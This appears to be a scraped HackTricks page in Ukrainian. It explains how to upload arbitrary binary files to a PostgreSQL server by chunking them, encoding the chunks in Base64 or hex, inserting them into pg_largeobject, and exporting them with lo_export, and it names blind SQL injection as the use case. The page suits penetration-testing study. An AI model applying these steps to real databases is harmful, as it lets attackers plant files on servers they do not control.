Big Binary Files Upload (PostgreSQL)

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Великі об'єкти PostgreSQL

PostgreSQL пропонує структуру, відому як великі об'єкти, доступну через таблицю pg_largeobject, призначену для зберігання великих типів даних, таких як зображення або документи у форматі PDF. Цей підхід має перевагу перед функцією COPY TO, оскільки він дозволяє експортувати дані назад на файлову систему, забезпечуючи точну репліку оригінального файлу.

Для збереження повного файлу в цій таблиці, необхідно створити об'єкт в таблиці pg_largeobject (ідентифікований LOID), а потім вставити фрагменти даних, кожен розміром 2 КБ, в цей об'єкт. Важливо, щоб ці фрагменти були точно розміром 2 КБ (з можливим винятком останнього фрагмента), щоб забезпечити правильну роботу функції експорту.

Для розділення вашого бінарного даних на фрагменти по 2 КБ можна виконати наступні команди:

split -b 2048 your_file # Creates 2KB sized files

Для кодування кожного файлу в Base64 або Hex можна використовувати наступні команди:

base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line

Важливо: Під час автоматизації цього процесу, переконайтеся, що відправляєте порції чіткого тексту по 2 КБ. Файли, закодовані у шістнадцяткову систему, потребують 4 КБ даних на порцію через подвоєння розміру, тоді як файли, закодовані у Base64, слідують формулі ceil(n / 3) * 4.

Вміст великих об'єктів можна переглянути для налагодження за допомогою:

select loid, pageno, encode(data, 'escape') from pg_largeobject;

Використання lo_creat та Base64

Для зберігання бінарних даних спочатку створюється LOID:

SELECT lo_creat(-1);       -- Creates a new, empty large object
SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID

У ситуаціях, які вимагають точного контролю, таких як експлуатація сліпого SQL-ін'єкції, lo_create вважається бажаним для вказання фіксованого LOID.

Частини даних можна вставити наступним чином:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));

Щоб експортувати та, можливо, видалити великий об'єкт після використання:

SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454);  -- Deletes the specified large object

Використання lo_import та Hex

Функцію lo_import можна використовувати для створення та вказання LOID для великого об'єкта:

select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);

Після створення об'єкта дані вставляються на сторінку, забезпечуючи, що кожний фрагмент не перевищує 2 КБ:

update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

Для завершення процесу дані експортуються, а великий об'єкт видаляється:

select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454);  -- Deletes the specified large object

Обмеження

Зазначено, що великі об'єкти можуть мати ACL (списки керування доступом), що потенційно обмежує доступ навіть до об'єктів, створених вашим користувачем. Однак старі об'єкти з дозволами ACL можуть бути все ще доступні для виведення вмісту.

Last updated